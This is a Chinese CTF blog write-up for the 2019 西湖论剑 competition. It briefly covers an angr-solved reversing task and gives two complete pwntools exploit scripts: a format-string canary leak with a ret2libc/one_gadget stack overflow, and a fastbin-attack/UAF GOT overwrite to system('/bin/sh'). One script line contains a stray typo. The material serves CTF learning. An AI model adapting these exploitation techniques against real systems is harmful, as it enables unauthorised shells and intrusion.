0%

2019西湖论剑CTF

由于最近忙的多西很多,导致2019西湖论剑CTF忘记报名了,只能用队友的账号上去做了一下,赛题体验良好,题目还是很中规中矩的,虽然依旧是被吊锤(脸红)。
比赛是从上午九点打到晚上九点,时间可以说是很短了,这边由于做pwn调试的时候花费了大量的时间和精力,导致最后没有耐心去看其它题目了(菜!!!),贴一下做出来的题目。

RE2 easyCpp

拿到题目后直接拖ida看逻辑,发现都是CPP冗长的符号。。。。头疼,分析是不可能分析的,这辈子都不可能。。。。
大概看了些逻辑,顺手就拖进了angr,跑了5min,出来了。。。。。

image

等官方WP出来以后再来复盘一波

PWN2 story

checksec一下发现有canary和nx,ida载入发现格式化字符串

image

由于这边的格式化字符串只能利用一次,而且libc地址还不知道,所以这边肯定不是ssp、stack_check_fail劫持之类的。

image

这边发现程序存在溢出,猜测是利用格式化字符串泄露canary,之后溢出,构造rop或者ret2libc来getshell。

贴下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
p=process('./story')
p=remote('ctf2.linkedbyx.com',10655)
##gdb.attach(p,'''
# break *0x0000000000400A53
# break *0x0000000000400A1C
# continue
#''')
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
p.recvuntil('Please Tell Your ID:')
p.sendline('%25$lx%15$lx')x`
p.recvuntil('Hello ')
#print p.recvline()
libc_main=int(p.recv(12),16)-240
libc_base=libc_main-libc.symbols['__libc_start_main']
bin_sh=libc.search('/bin/sh').next()+libc_base
system=libc.symbols['system']+libc_base
#print hex(libc_system)
canary=int(p.recvline(),16)
#print canary
p.recvuntil('Tell me the size of your story:')
p.sendline('129')
p.recvuntil('You can speak your story:')
payload='a'*136+p64(canary)+'a'*8+p64(0xf1147+libc_base)+100*p64(0x0)
p.sendline(payload)
p.interactive()

这边rop用的是one_gadget,注意需要满足[rsp+0x??]为空的条件,这里可以利用大范围高字节溢出,把rbp-4之后的地址全部淹没为空。

image

PWN3 noinfoLeak

看保护发现只有pie没有开,不用猜都知道肯定是堆题。程序本来的符号表是被裁掉的,这边通过分析程序功能补全了一下。

image

程序主要有三个功能,malloc、free、input,分配的堆块的大小和地址存储在bss上的list中。通过静态分析可以发现free没有对chunk进行检查,所以这边有个doublefree,input_list函数同样没有对chunk是否已经free进行检查,导致这边又有个uaf。
看到这边单纯的我想到的思路就是通过uaf改写free chunk的fd指向,通过fastbinAttack改写全局list内容,然后利用程序本身的input_list功能进行got覆写,最后one_gadget一把梭结束战斗。
然鹅,我还是低估了出题人的险恶用心(拍桌!!!),因为,这题,居然没法直接泄露。。。
话说回来,万变不离其宗,此题也只是无法直接泄露,都能任意地址写了,还怕没法泄露地址的咩改个got表就吼了
贴下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.log_level = "debug"
p = process("./noinfoleak")
#p = remote("ctf1.linkedbyx.com" , 10216)
elf = ELF("./noinfoleak")
libc = elf.libc

sla = lambda c : p.sendlineafter(">" , str(c))
sa = lambda c : p.sendafter(">" , str(c))

def add(size , content):
sla(1)
sla(size)
sa(content)

def delete(idx):
sla(2)
sla(idx)

def edit(idx , content):
sla(3)
sla(idx)
sa(content)

# fastbin attack to control note_list
stdin = 0x601090
add(0x60 , "padding")
add(0x60 , "padding")
add(0x60 , "padding")
add(0x60 , "/bin/sh\x00")

delete(0)
gdb.attach(p)
edit(0 , p64(stdin + 5 - 0x8))
add(0x60 , "padding") # clear
payload = "a" * 3 + p64(elf.got["free"]) + p64(0x8) + p64(elf.got["read"]) + p64(0x8)
add(0x60 , payload)
edit(0 , p64(elf.plt["puts"] ))
delete(1)
read_addr = u64(p.recvuntil("\x7f").ljust(8 , "\x00"))
libc.address = read_addr - libc.sym["read"]
log.info("libc : " + hex(libc.address))
edit(0 , p64(libc.sym["system"]))
delete(3)
# gdb.attach(p)
# leak libc
# modify free to system for getshell
p.interactive()

image

总结

打一天时间还是太短了,有些题目来不及刚都,等着官方WP出了去复盘一波。